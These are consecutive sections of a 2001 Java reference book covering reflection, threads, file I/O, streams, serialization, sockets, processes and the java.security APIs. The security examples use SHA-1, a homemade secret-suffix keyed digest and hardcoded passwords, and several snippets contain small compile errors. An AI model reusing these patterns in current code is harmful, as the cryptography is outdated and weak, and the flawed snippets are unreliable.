  options.load(new FileInputStream(configfile));   // Load props from the file
} catch (IOException e) { /* Handle exception here */ }

// Query a property ("color"), specifying a default ("gray") if undefined
String color = options.getProperty("color", "gray");

// Set a property named "color" to the value "green"
options.setProperty("color", "green");

// Store the contents of the Properties object back into a file
try {
  options.store(new FileOutputStream(configfile),  // Output stream
                "MyApp Config File");              // File header comment text
} catch (IOException e) { /* Handle exception */ }

Previous | Home | Next
4.5. Arrays | Book Index | 4.7. Types, Reflection, and Dynamic Loading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Types, Reflection, and Dynamic Loading (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.7. Types, Reflection, and Dynamic Loading

The java.lang.Class class represents data types in Java and, along with the classes in the java.lang.reflect package, gives Java programs the capability of introspection (or self-reflection); a Java class can look at itself, or any other class, and determine its superclass, what methods it defines, and so on. There are several ways you can obtain a Class object in Java:

// Obtain the Class of an arbitrary object o
Class c = o.getClass();

// Obtain a Class object for primitive types with various predefined constants
c = Void.TYPE;          // The special "no-return-value" type
c = Byte.TYPE;          // Class object that represents a byte
c = Integer.TYPE;       // Class object that represents an int
c = Double.TYPE;        // etc. See also Short, Character, Long, Float.

// Express a class literal as a type name followed by ".class"
c = int.class;          // Same as Integer.TYPE
c = String.class;       // Same as "dummystring".getClass()
c = byte[].class;       // Type of byte arrays
c = Class[][].class;    // Type of array of arrays of Class objects

Once you have a Class object, you can perform some interesting reflective operations with it:

import java.lang.reflect.*;

Object o;                   // Some unknown object to investigate
Class c = o.getClass();     // Get its type

// If it is an array, figure out its base type
while (c.isArray()) c = c.getComponentType();

// If c is not a primitive type, print its class hierarchy
if (!c.isPrimitive()) {
  for(Class s = c; s != null; s = s.getSuperclass())
    System.out.println(s.getName() + " extends");
}

// Try to create a new instance of c; this requires a no-arg constructor
Object newobj = null;
try { newobj = c.newInstance(); }
catch (Exception e) {
  // Handle InstantiationException, IllegalAccessException
}

// See if the class has a method named setText that takes a single String
// If so, call it with a string argument
try {
  Method m = c.getMethod("setText", new Class[] { String.class });
  m.invoke(newobj, new Object[] { "My Label" });
} catch(Exception e) { /* Handle exceptions here */ }

Class also provides a simple mechanism for dynamic class loading in Java. For more complete control over dynamic class loading, however, you should use a java.lang.ClassLoader object, typically a java.net.URLClassLoader. This technique is useful, for example, when you want to load a class that is named in a configuration file instead of being hardcoded into your program:

// Dynamically load a class specified by name in a config file
String classname =                     // Look up the name of the class
  config.getProperties("filterclass",  // The property name
                       "com.davidflangan.filters.Default"); // A default

try {
  Class c = Class.forName(classname);  // Dynamically load the class
  Object o = c.newInstance();          // Dynamically instantiate it
} catch (Exception e) { /* Handle exceptions */ }

// If the class to be loaded is not in the classpath, create a custom
// class loader to load it.
// Use the config file again to specify the custom path
import java.net.URLClassLoader;
String classdir = config.getProperties("classpath");
try {
  ClassLoader loader = new URLClassLoader(new URL[] { new URL(classdir) });
  Class c = loader.loadClass(classname);
}
catch (Exception e) { /* Handle exceptions */ }

Previous | Home | Next
4.6. Collections | Book Index | 4.8. Threads
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Threads (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.8. Threads

Java makes it easy to define and work with multiple threads of execution within a program. java.lang.Thread is the fundamental thread class in the Java API. There are two ways to define a thread. One is to subclass Thread, override the run() method, and then instantiate your Thread subclass. The other is to define a class that implements the Runnable method (i.e., define a run() method) and then pass an instance of this Runnable object to the Thread() constructor. In either case, the result is a Thread object, where the run() method is the body of the thread. When you call the start() method of the Thread object, the interpreter creates a new thread to execute the run() method. This new thread continues to run until the run() method exits, at which point it ceases to exist. Meanwhile, the original thread continues running itself, starting with the statement following the start() method. The following code demonstrates:

final List list;  // Some long unsorted list of objects; initialized elsewhere

/** A Thread class for sorting a List in the background */
class BackgroundSorter extends Thread {
  List l;
  public BackgroundSorter(List l) { this.l = l; }    // Constructor
  public void run() { Collections.sort(l); }         // Thread body
}

// Create a BackgroundSorter thread
Thread sorter = new BackgroundSorter(list);
// Start it running; the new thread runs the run() method above, while
// the original thread continues with whatever statement comes next.
sorter.start();

// Here's another way to define a similar thread
Thread t = new Thread(new Runnable() {          // Create a new thread
  public void run() { Collections.sort(list); } // to sort the list of objects.
});
t.start();                                      // Start it running

Threads can run at different priority levels. A thread at a given priority level does not run unless there are no higher-priority threads waiting to run. Here is some code you can use when working with thread priorities:

// Set a thread t to lower-than-normal priority
t.setPriority(Thread.NORM_PRIORITY-1);

// Set a thread to lower priority than the current thread
t.setPriority(Thread.currentThread().getPriority() - 1);

// Threads that don't pause for I/O should explicitly yield the CPU
// to give other threads with the same priority a chance to run.
Thread t = new Thread(new Runnable() {
  public void run() {
    for(int i = 0; i < data.length; i++) {  // Loop through a bunch of data
      process(data[i]);                     // Process it
      if ((i % 10) == 0)                    // But after every 10 iterations,
        Thread.yield();                     // pause to let other threads run.
    }
  }
});

Often, threads are used to perform some kind of repetitive task at a fixed interval. This is particularly true when doing graphical programming that involves animation or similar effects:

public class Clock extends Thread {
  java.text.DateFormat f =      // How to format the time for this locale
    java.text.DateFormat.getTimeInstance(java.text.DateFormat.MEDIUM);
  boolean keepRunning = true;

  public Clock() {         // The constructor
    setDaemon(true);       // Daemon thread: interpreter can exit while it runs
    start();               // This thread starts itself
  }

  public void run() {      // The body of the thread
    while(keepRunning) {   // This thread runs until asked to stop
      String time = f.format(new java.util.Date()); // Current time
      System.out.println(time);                     // Print the time
      try { Thread.sleep(1000); }                   // Wait 1000 milliseconds
      catch (InterruptedException e) {}             // Ignore this exception
    }
  }

  // Ask the thread to stop running
  public void pleaseStop() { keepRunning = false; }
}

Notice the pleaseStop() method in the previous example. You can forcefully terminate a thread by calling its stop() method, but this method has been deprecated because a thread that is forcefully stopped can leave objects it is manipulating in an inconsistent state. If you need a thread that can be stopped, you should define a method such as pleaseStop() that stops the thread in a controlled way.

In Java 1.3, the java.util.Timer and java.util.TimerTask classes make it even easier to run repetitive tasks. Here is some code that behaves much like the previous Clock class:

import java.util.*;

// How to format the time for this locale
final java.text.DateFormat timeFmt =
  java.text.DateFormat.getTimeInstance(java.text.DateFormat.MEDIUM);
// Define the time-display task
TimerTask displayTime = new TimerTask() {
  public void run() { System.out.println(timeFmt.format(new Date())); }
};
// Create a timer object to run the task (and possibly others)
Timer timer = new Timer();
// Now schedule that task to be run every 1000 milliseconds, starting now
Timer.schedule(displayTime, 0, 1000);
// To stop the time-display task
displayTime.cancel();

Sometimes one thread needs to stop and wait for another thread to complete. You can accomplish this with the join() method:

List list;  // A long list of objects to be sorted; initialized elsewhere

// Define a thread to sort the list: lower its priority, so it only runs
// when the current thread is waiting for I/O, and then start it running.
Thread sorter = new BackgroundSorter(list);               // Defined earlier
sorter.setPriority(Thread.currentThread.getPriority()-1); // Lower priority
sorter.start();                                           // Start sorting

// Meanwhile, in this original thread, read data from a file
byte[] data = readData();  // Method defined elsewhere

// Before we can proceed, we need the list to be fully sorted, so
// we've got to wait for the sorter thread to exit, if it hasn't already.
sorter.join();

When using multiple threads, you must be very careful if you allow more than one thread to access the same data structure. Consider what would happen if one thread was trying to loop through the elements of a List while another thread was sorting those elements. Preventing this problem is called threadsynchronization and is one of the central problems of multithreaded computing. The basic technique for preventing two threads from accessing the same object at the same time is to require a thread to obtain a lock on the object before the thread can modify it. While any one thread holds the lock, another thread that requests the lock has to wait until the first thread is done and releases the lock. Every Java object has the fundamental ability to provide such a locking capability.

The easiest way to keep objects thread-safe is to declare any sensitive methods synchronized. A thread must obtain a lock on an object before it can execute any of its synchronized methods, which means that no other thread can execute any other synchronized method at the same time. (If a static method is declared synchronized, the thread must obtain a lock on the class, and this works in the same manner.) To do finer-grained locking, you can specify synchronized blocks of code that hold a lock on a specified object for a short time:

// This method swaps two array elements in a synchronized block
public static void swap(Object[] array, int index1, int index2) {
  synchronized(array) {
    Object tmp = array[index1];
    array[index1] = array[index2];
    array[index2] = tmp;
  }
}

// The Collection, Set, List, and Map implementations in java.util do
// not have synchronized methods (except for the legacy implementations
// Vector and Hashtable). When working with multiple threads, you can
// obtain synchronized wrapper objects.
List synclist = Collections.synchronizedList(list);
Map syncmap = Collections.synchronizedMap(map);

When you are synchronizing threads, you must be careful to avoid deadlock, which occurs when two threads end up waiting for each other to release a lock they need. Since neither can proceed, neither one can release the lock it holds, and they both stop running:

// When two threads try to lock two objects, deadlock can occur unless
// they always request the locks in the same order.
final Object resource1 = new Object();   // Here are two objects to lock
final Object resource2 = new Object();
Thread t1 = new Thread(new Runnable() {  // Locks resource1 then resource2
  public void run() {
    synchronized(resource1) {
      synchronized(resource2) { compute(); }
    }
  }
});

Thread t2 = new Thread(new Runnable() {  // Locks resource2 then resource1
  public void run() {
    synchronized(resource2) {
      synchronized(resource1) { compute(); }
    }
  }
});

t1.start();  // Locks resource1
t2.start();  // Locks resource2 and now neither thread can progress!

Sometimes a thread needs to stop running and wait until some kind of event occurs, at which point it is told to continue running. This is done with the wait() and notify() methods. These aren't methods of the Thread class, however; they are methods of Object. Just as every Java object has a lock associated with it, every object can maintain a list of waiting threads. When a thread calls the wait() method of an object, it is added to the list of waiting threads for that object and stops running. When another thread calls the notify() method of the same object, the object wakes up one of the waiting threads and allows it to continue running:

/**
 * A queue. One thread calls push() to put an object on the queue.
 * Another calls pop() to get an object off the queue. If there is no
 * data, pop() waits until there is some, using wait()/notify().
 * wait() and notify() must be used within a synchronized method or
 * block.
 */
import java.util.*;

public class Queue {
  LinkedList q = new LinkedList();  // Where objects are stored
  public synchronized void push(Object o) {
    q.add(o);      // Append the object to the end of the list
    this.notify(); // Tell waiting threads that data is ready
  }
  public synchronized Object pop() {
    while(q.size() == 0) {
      try { this.wait(); }
      catch (InterruptedException e) { /* Ignore this exception */ }
    }
    return q.remove(0);
  }
}

Previous | Home | Next
4.7. Types, Reflection, and Dynamic Loading | Book Index | 4.9. Files and Directories
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Files and Directories (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.9. Files and Directories

The java.io.File class represents a file or a directory and defines a number of important methods for manipulating files and directories. Note, however, that none of these methods allow you to read the contents of a file; that is the job of java.io.FileInputStream, which is just one of the many types of input/output streams used in Java and discussed in the next section. Here are some things you can do with File:

import java.io.*;

// Get the name of the user's home directory and represent it with a File
File homedir = new File(System.getProperty("user.home"));

// Create a File object to represent a file in that directory
File f = new File(homedir, ".configfile");

// Find out how big a file is and when it was last modified
long filelength = f.length();
Date lastModified = new java.util.Date(f.lastModified());

// If the file exists, is not a directory, and is readable,
// move it into a newly created directory.
if (f.exists() && f.isFile() && f.canRead()) {       // Check config file
  File configdir = new File(homedir, ".configdir");  // A new config directory
  configdir.mkdir();                                 // Create that directory
  f.renameTo(new File(configdir, ".config"));        // Move the file into it
}

// List all files in the home directory
String[] allfiles = homedir.list();

// List all files that have a ".java" suffix
String[] sourcecode = homedir.list(new FilenameFilter() {
  public boolean accept(File d, String name) { return name.endsWith(".java"); }
});

The File class provides some important additional functionality as of Java 1.2:

// List all filesystem root directories; on Windows, this gives us
// File objects for all drive letters (Java 1.2 and later).
File[] rootdirs = File.listRoots();

// Atomically, create a lock file, then delete it (Java 1.2 and later)
File lock = new File(configdir, ".lock");
if (lock.createNewFile()) {
  // We successfully created the file, so do something
  ...
  // Then delete the lock file
  lock.delete();
}
else {
  // We didn't create the file; someone else has a lock
  System.err.println("Can't create lock file; exiting.");
  System.exit(0);
}

// Create a temporary file to use during processing (Java 1.2 and later)
File temp = File.createTempFile("app", ".tmp");  // Filename prefix and suffix
// Make sure file gets deleted when we're done with it (Java 1.2 and later)
temp.deleteOnExit();

The java.io package also defines a RandomAccessFile class that allows you to read binary data from arbitrary locations in a file. This can be a useful thing to do in certain situations, but most applications read files sequentially, using the stream classes described in the next section. Here is a short example of using RandomAccessFile:

// Open a file for read/write ("rw") access
File datafile = new File(configdir, "datafile");
RandomAccessFile f = new RandomAccessFile(datafile, "rw");
f.seek(100);                   // Move to byte 100 of the file
byte[] data = new byte[100];   // Create a buffer to hold data
f.read(data);                  // Read 100 bytes from the file
int i = f.readInt();           // Read a 4-byte integer from the file
f.seek(100);                   // Move back to byte 100
f.writeInt(i);                 // Write the integer first
f.write(data);                 // Then write the 100 bytes
f.close();                     // Close file when done with it

Previous | Home | Next
4.8. Threads | Book Index | 4.10. Input and Output Streams
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Input and Output Streams (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.10. Input and Output Streams

The java.io package defines a large number of classes for reading and writing streaming, or sequential, data. The InputStream and OutputStream classes are for reading and writing streams of bytes, while the Reader and Writer classes are for reading and writing streams of characters. Streams can be nested, meaning you might read characters from a FilterReader object that reads and processes characters from an underlying Reader stream. This underlying Reader stream might read bytes from an InputStream and convert them to characters.

There are a number of common operations you can perform with streams. One is to read lines of input the user types at the console:

import java.io.*;

BufferedReader console = new BufferedReader(new InputStreamReader(System.in));
System.out.print("What is your name: ");
String name = null;
try {
  name = console.readLine();
}
catch (IOException e) { name = "<" + e + ">"; }  // This should never happen
System.out.println("Hello " + name);

Reading lines of text from a file is a similar operation. The following code reads an entire text file and quits when it reaches the end:

String filename = System.getProperty("user.home") + File.separator + ".cshrc";
try {
  BufferedReader in = new BufferedReader(new FileReader(filename));
  String line;
  while((line = in.readLine()) != null) {  // Read line, check for end-of-file
    System.out.println(line);              // Print the line
  }
  in.close();    // Always close a stream when you are done with it
}
catch (IOException e) {
  // Handle FileNotFoundException, etc. here
}

Throughout this book, you've seen the use of the System.out.println() method to display text on the console. System.out simply refers to an output stream. You can print text to any output stream using similar techniques. The following code shows how to output text to a file:

try {
  File f = new File(homedir, ".config");
  PrintWriter out = new PrintWriter(new FileWriter(f));
  out.println("## Automatically generated config file. DO NOT EDIT!");
  out.close();  // We're done writing
}
catch (IOException e) { /* Handle exceptions */ }

Not all files contain text, however. The following lines of code treat a file as a stream of bytes and read the bytes into a large array:

try {
  File f;                             // File to read; initialized elsewhere
  int filesize = (int) f.length();    // Figure out the file size
  byte[] data = new byte[filesize];   // Create an array that is big enough
  // Create a stream to read the file
  DataInputStream in = new DataInputStream(new FileInputStream(f));
  in.readFully(data);  // Read file contents into array
  in.close();
}
catch (IOException e) { /* Handle exceptions */ }

Various other packages of the Java platform define specialized stream classes that operate on streaming data in some useful way. The following code shows how to use stream classes from java.util.zip to compute a checksum of data and then compress the data while writing it to a file:

import java.io.*;
import java.util.zip.*;

try {
  File f;                           // File to write to; initialized elsewhere
  byte[] data;                      // Data to write; initialized elsewhere
  Checksum check = new Adler32();   // An object to compute a simple checksum

  // Create a stream that writes bytes to the file f
  FileOutputStream fos = new FileOutputStream(f);
  // Create a stream that compresses bytes and writes them to fos
  GZIPOutputStream gzos = new GZIPOutputStream(fos);
  // Create a stream that computes a checksum on the bytes it writes to gzos
  CheckedOutputStream cos = new CheckedOutputStream(gzos, check);

  cos.write(data);             // Now write the data to the nested streams
  cos.close();                 // Close down the nested chain of streams
  long sum = check.getValue(); // Obtain the computed checksum
}
catch (IOException e) { /* Handle exceptions */ }

The java.util.zip package also contains a ZipFile class that gives you random access to the entries of a ZIP archive and allows you to read those entries through a stream:

import java.io.*;
import java.util.zip.*;

String filename;     // File to read; initialized elsewhere
String entryname;    // Entry to read from the ZIP file; initialized elsewhere
ZipFile zipfile = new ZipFile(filename);        // Open the ZIP file
ZipEntry entry = zipfile.getEntry(entryname);   // Get one entry
InputStream in = zipfile.getInputStream(entry); // A stream to read the entry
BufferedInputStream bis = new BufferedInputStream(in);  // Improves efficiency
// Now read bytes from bis...
// Print out contents of the ZIP file
for(java.util.Enumeration e = zipfile.entries(); e.hasMoreElements();) {
  ZipEntry zipentry = (ZipEntry) e.nextElement();
  System.out.println(zipentry.getName());
}

If you need to compute a cryptographic-strength checksum (also knows as a message digest), use one of the stream classes of the java.security package. For example:

import java.io.*;
import java.security.*;
import java.util.*;

File f;          // File to read and compute digest on; initialized elsewhere
List text = new ArrayList();  // We'll store the lines of text here

// Get an object that can compute an SHA message digest
MessageDigest digester = MessageDigest.getInstance("SHA");
// A stream to read bytes from the file f
FileInputStream fis = new FileInputStream(f);
// A stream that reads bytes from fis and computes an SHA message digest
DigestInputStream dis = new DigestInputStream(fis, digester);
// A stream that reads bytes from dis and converts them to characters
InputStreamReader isr = new InputStreamReader(dis);
// A stream that can read a line at a time
BufferedReader br = new BufferedReader(isr);
// Now read lines from the stream
for(String line; (line = br.readLine()) != null; text.add(line)) ;
// Close the streams
br.close();
// Get the message digest
byte[] digest = digester.digest();

So far, we've used a variety of stream classes to manipulate streaming data, but the data itself ultimately comes from a file or is written to the console. The java.io package defines other stream classes that can read data from and write data to arrays of bytes or strings of text:

import java.io.*;

// Set up a stream that uses a byte array as its destination
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream out = new DataOutputStream(baos);
out.writeUTF("hello");            // Write some string data out as bytes
out.writeDouble(Math.PI);         // Write a floating-point value out as bytes
byte[] data = baos.toByteArray(); // Get the array of bytes we've written
out.close();                      // Close the streams

// Set up a stream to read characters from a string
Reader in = new StringReader("Now is the time!");
// Read characters from it until we reach the end
int c;
while((c = in.read()) != -1) System.out.print((char) c);

Other classes that operate this way include ByteArrayInputStream, StringWriter, CharArrayReader, and CharArrayWriter.

PipedInputStream and PipedOutputStream and their character-based counterparts, PipedReader and PipedWriter, are another interesting set of streams defined by java.io. These streams are used in pairs by two threads that want to communicate. One thread writes bytes to a PipedOutputStream or characters to a PipedWriter, and another thread reads bytes or characters from the corresponding PipedInputStream or PipedReader:

// A pair of connected piped I/O streams forms a pipe. One thread writes
// bytes to the PipedOutputStream, and another thread reads them from the
// corresponding PipedInputStream. Or use PipedWriter/PipedReader for chars.
final PipedOutputStream writeEndOfPipe = new PipedOutputStream();
final PipedInputStream readEndOfPipe = new PipedInputStream(writeEndOfPipe);

// This thread reads bytes from the pipe and discards them
Thread devnull = new Thread(new Runnable() {
  public void run() {
    try { while(readEndOfPipe.read() != -1); }
    catch (IOException e) {}  // ignore it
  }
});
devnull.start();

One of the most important features of the java.io package is the ability to serialize objects: to convert an object into a stream of bytes that can later be deserialized back into a copy of the original object. The following code shows how to use serialization to save an object to a file and later read it back:

Object o;  // The object we are serializing; it must implement Serializable
File f;    // The file we are saving it to

try {
  // Serialize the object
  ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
  oos.writeObject(o);
  oos.close();

  // Read the object back in:
  ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
  Object copy = ois.readObject();
  ois.close();
}
catch (IOException e) { /* Handle input/output exceptions */ }
catch (ClassNotFoundException cnfe) { /* readObject() can throw this */ }

The previous example serializes to a file, but remember, you can write serialized objects to any type of stream. Thus, you can write an object to a byte array, then read it back from the byte array, creating a deep copy of the object. You can write the object's bytes to a compression stream or even write the bytes to a stream connected across a network to another program!

Previous | Home | Next
4.9. Files and Directories | Book Index | 4.11. Networking
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Networking (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.11. Networking

The java.net package defines a number of classes that make writing networked applications surprisingly easy. The easiest class to use is URL, which represents a uniform resource locator. Different Java implementations may support different sets of URL protocols, but, at a minimum, you can rely on support for the http:, ftp:, and file: protocols. Here are some ways you can use the URL class:

import java.net.*;
import java.io.*;

// Create some URL objects
URL url=null, url2=null, url3=null;
try {
  url = new URL("http://www.oreilly.com");        // An absolute URL
  url2 = new URL(url, "catalog/books/javanut3/"); // A relative URL
  url3 = new URL("http:", "www.oreilly.com", "index.html");
} catch (MalformedURLException e) { /* Ignore this exception */ }

// Read the content of a URL from an input stream:
InputStream in = url.openStream();

// For more control over the reading process, get a URLConnection object
URLConnection conn = url.openConnection();

// Now get some information about the URL
String type = conn.getContentType();
String encoding = conn.getContentEncoding();
java.util.Date lastModified = new java.util.Date(conn.getLastModified());
int len = conn.getContentLength();

// If necessary, read the contents of the URL using this stream
InputStream in = conn.getInputStream();

Sometimes you need more control over your networked application than is possible with the URL class. In this case, you can use a Socket to communicate directly with a server. For example:

import java.net.*;
import java.io.*;

// Here's a simple client program that connects to a web server,
// requests a document, and reads the document from the server.
String hostname = "java.oreilly.com";  // The server to connect to
int port = 80;                         // Standard port for HTTP
String filename = "/index.html";       // The file to read from the server
Socket s = new Socket(hostname, port); // Connect to the server

// Get I/O streams we can use to talk to the server
InputStream sin = s.getInputStream();
BufferedReader fromServer = new BufferedReader(new InputStreamReader(sin));
OutputStream sout = s.getOutputStream();
PrintWriter toServer = new PrintWriter(new OutputStreamWriter(sout));

// Request the file from the server, using the HTTP protocol
toServer.print("GET " + filename + " HTTP/1.0\n\n");
toServer.flush();

// Now read the server's response, assume it is a text file, and print it out
for(String l = null; (l = fromServer.readLine()) != null; )
  System.out.println(l);

// Close everything down when we're done
toServer.close();
fromServer.close();
s.close();

A client application uses a Socket to communicate with a server. The server does the same thing: it uses a Socket object to communicate with each of its clients. However, the server has an additional task, in that it must be able to recognize and accept client connection requests. This is done with the ServerSocket class. The following code shows how you might use a ServerSocket. The code implements a simple HTTP server that responds to all requests by sending back (or mirroring) the exact contents of the HTTP request. A dummy server like this is useful when debugging HTTP clients:

import java.io.*;
import java.net.*;

public class HttpMirror {
  public static void main(String[] args) {
    try {
      int port = Integer.parseInt(args[0]);        // The port to listen on
      ServerSocket ss = new ServerSocket(port);    // Create a socket to listen
      for(;;) {                                    // Loop forever
        Socket client = ss.accept();               // Wait for a connection
        ClientThread t = new ClientThread(client); // A thread to handle it
        t.start();                                 // Start the thread running
      }                                            // Loop again
    }
    catch (Exception e) {
      System.err.println(e.getMessage());
      System.err.println("Usage: java HttpMirror <port>");
    }
  }

  static class ClientThread extends Thread {
    Socket client;
    ClientThread(Socket client) { this.client = client; }
    public void run() {
      try {
        // Get streams to talk to the client
        BufferedReader in =
          new BufferedReader(new InputStreamReader(client.getInputStream()));
        PrintWriter out =
          new PrintWriter(new OutputStreamWriter(client.getOutputStream()));

        // Send an HTTP response header to the client
        out.print("HTTP/1.0 200\nContent-Type: text/plain\n\n");

        // Read the HTTP request from the client and send it right back
        // Stop when we read the blank line from the client that marks
        // the end of the request and its headers.
        String line;
        while((line = in.readLine()) != null) {
          if (line.length() == 0) break;
          out.println(line);
        }

        out.close();
        in.close();
        client.close();
      }
      catch (IOException e) { /* Ignore exceptions */ }
    }
  }
}

Note how elegantly both the URL and Socket classes use the input/output streams that we saw earlier in the chapter. This is one of the features that makes the Java networking classes so powerful.

Both URL and Socket perform networking on top of a stream-based network connection. Setting up and maintaining a stream across a network takes work at the network level, however. Sometimes you need a low-level way to speed a packet of data across a network, but you don't care about maintaining a stream. If, in addition, you don't need a guarantee that your data will get there or that the packets of data will arrive in the order you sent them, you may be interested in the DatagramSocket and DatagramPacket classes:

import java.net.*;

// Send a message to another computer via a datagram
try {
  String hostname = "host.domain.org";      // The computer to send the data to
  InetAddress address =                     // Convert the DNS hostname
    InetAddress.getByName(hostname);        // to a lower-level IP address.
  int port = 1234;                          // The port to connect to
  String message = "The eagle has landed."; // The message to send
  byte[] data = message.getBytes();         // Convert string to bytes
  DatagramSocket s = new DatagramSocket();  // Socket to send message with
  DatagramPacket p =                        // Create the packet to send
    new DatagramPacket(data, data.length, address, port);
  s.send(p);                                // Now send it!
  s.close();                                // Always close sockets when done
}
catch (UnknownHostException e) {}  // Thrown by InetAddress.getByName()
catch (SocketException e) {}       // Thrown by new DatagramSocket()
catch (java.io.IOException e) {}   // Thrown by DatagramSocket.send()

// Here's how the other computer can receive the datagram
try {
  byte[] buffer = new byte[4096];               // Buffer to hold data
  DatagramSocket s = new DatagramSocket(1234);  // Socket to receive it through
  DatagramPacket p =
    new DatagramPacket(buffer, buffer.length);  // The packet to receive it
  s.receive(p);                                 // Wait for a packet to arrive
  String msg =                                  // Convert the bytes from the
    new String(buffer, 0, p.getLength());       // packet back to a string.
  s.close();                                    // Always close the socket
}

catch (SocketException e) {}       // Thrown by new DatagramSocket()
catch (java.io.IOException e) {}   // Thrown by DatagramSocket.receive()

Previous | Home | Next
4.10. Input and Output Streams | Book Index | 4.12. Processes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Processes (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.12. Processes

Earlier in the chapter, we saw how easy it is to create and manipulate multiple threads of execution running within the same Java interpreter. Java also has a java.lang.Process class that represents a program running externally to the interpreter. A Java program can communicate with an external process using streams in the same way that it might communicate with a server running on some other computer on the network. Using a Process is always platform-dependent and is rarely portable, but it is sometimes a useful thing to do:

// Maximize portability by looking up the name of the command to execute
// in a configuration file.
java.util.Properties config;
String cmd = config.getProperty("sysloadcmd");
if (cmd != null) {
  // Execute the command; Process p represents the running command
  Process p = Runtime.getRuntime().exec(cmd);         // Start the command
  InputStream pin = p.getInputStream();               // Read bytes from it
  InputStreamReader cin = new InputStreamReader(pin); // Convert them to chars
  BufferedReader in = new BufferedReader(cin);        // Read lines of chars
  String load = in.readLine();                        // Get the command output
  in.close();                                         // Close the stream
}

Previous | Home | Next
4.11. Networking | Book Index | 4.13. Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.13. Security

The java.security package defines quite a few classes related to the Java access-control architecture, which is discussed in more detail in Chapter 5, "Java Security". These classes allow Java programs to run untrusted code in a restricted environment from which it can do no harm. While these are important classes, you rarely need to use them.

The more interesting classes are the ones used for authentication. A message digest is a value, also known as cryptographic checksum or secure hash, that is computed over a sequence of bytes. The length of the digest is typically much smaller than the length of the data for which it is computed, but any change, no matter how small, in the input bytes, produces a change in the digest. When transmitting data (a message), you can transmit a message digest along with it. Then, the recipient of the message can recompute the message digest on the received data and, by comparing the computed digest to the received digest, determine whether the message or the digest was corrupted or tampered with during transmission. We saw a way to compute a message digest earlier in the chapter when we discussed streams. A similar technique can be used to compute a message digest for non-streaming binary data:

import java.security.*;

// Obtain an object to compute message digests using the "Secure Hash
// Algorithm"; this method can throw NoSuchAlgorithmException.
MessageDigest md = MessageDigest.getInstance("SHA");

byte[] data, data1, data2, secret;  // Some byte arrays initialized elsewhere

// Create a digest for a single array of bytes
byte[] digest = md.digest(data);

// Create a digest for several chunks of data
md.reset();            // Optional: automatically called by digest()
md.update(data1);      // Process the first chunk of data
md.update(data2);      // Process the second chunk of data
digest = md.digest();  // Compute the digest

// Create a keyed digest that can be verified if you know the secret bytes
md.update(data);             // The data to be transmitted with the digest
digest = md.digest(secret);  // Add the secret bytes and compute the digest

// Verify a digest like this
byte[] receivedData, receivedDigest;  // The data and the digest we received
byte[] verifyDigest = md.digest(receivedData);  // Digest the received data
// Compare computed digest to the received digest
boolean verified =  java.util.Arrays.equals(receivedDigest, verifyDigest);

A digital signature combines a message-digest algorithm with public-key cryptography. The sender of a message, Alice, can compute a digest for a message and then encrypt that digest with her private key. She then sends the message and the encrypted digest to a recipient, Bob. Bob knows Alice's public key (it is public, after all), so he can use it to decrypt the digest and verify that the message has not been tampered with. In performing this verification, Bob also learns that the digest was encrypted with Alice's private key, since he was able to decrypt the digest successfully using Alice's public key. As Alice is the only one who knows her private key, the message must have come from Alice. A digital signature is called such because, like a pen-and-paper signature, it serves to authenticate the origin of a document or message. Unlike a pen-and-paper signature, however, a digital signature is very difficult, if not impossible, to forge, and it cannot simply be cut and pasted onto another document.

Java makes creating digital signatures easy. In order to create a digital signature, however, you need a java.security.PrivateKey object. Assuming that a keystore exists on your system (see the keytool documentation in Chapter 8, "Java Development Tools"), you can get one with code like the following:

// Here is some basic data we need
File homedir = new File(System.getProperty("user.home"));
File keyfile = new File(homedir, ".keystore"); // Or read from config file
String filepass = "KeyStore password"          // Password for entire file
String signer = "david";                       // Read from config file
String password = "No one can guess this!";    // Better to prompt for this
PrivateKey key;  // This is the key we want to look up from the keystore

try {
  // Obtain a KeyStore object and then load data into it
  KeyStore keystore = KeyStore.getInstance(KeyStore.getDefaultType());
  keystore.load(new BufferedInputStream(new FileInputStream(keyfile)),
                filepass.toCharArray());
  // Now ask for the desired key
  key = (PrivateKey) keystore.getKey(signer, password.toCharArray());
}
catch (Exception e) { /* Handle various exception types here */ }

Once you have a PrivateKey object, you create a digital signature with a java.security.Signature object:

PrivateKey key;              // Initialized as shown previously
byte[] data;                 // The data to be signed
Signature s =                // Obtain object to create and verify signatures
  Signature.getInstance("SHA1withDSA");  // Can throw NoSuchAlgorithmException
s.initSign(key);             // Initialize it; can throw InvalidKeyException
s.update(data);              // Data to sign; can throw SignatureException
/* s.update(data2); */       // Call multiple times to specify all data
byte[] signature = s.sign(); // Compute signature

A Signature object can verify a digital signature:

byte[] data;        // The signed data; initialized elsewhere
byte[] signature;   // The signature to be verified; initialized elsewhere
String signername;  // Who created the signature; initialized elsewhere
KeyStore keystore;  // Where certificates stored; initialize as shown earlier

// Look for a public key certificate for the signer
java.security.cert.Certificate cert = keystore.getCertificate(signername);
PublicKey publickey = cert.getPublicKey();  // Get the public key from it

Signature s = Signature.getInstance("SHA1withDSA"); // Or some other algorithm
s.initVerify(publickey);                            // Setup for verification
s.update(data);                                     // Specify signed data
boolean verified = s.verify(signature);             // Verify signature data

The java.security.SignedObject class is a convenient utility for wrapping a digital signature around an object. The SignedObject can then be serialized and transmitted to a recipient, who can deserialize it and use the verify() method to verify the signature:

Serializable o;  // The object to be signed; must be Serializable
PrivateKey k;    // The key to sign with; initialized elsewhere
Signature s = Signature.getInstance("SHA1withDSA"); // Signature "engine"
SignedObject so = new SignedObject(o, k, s);        // Create the SignedObject

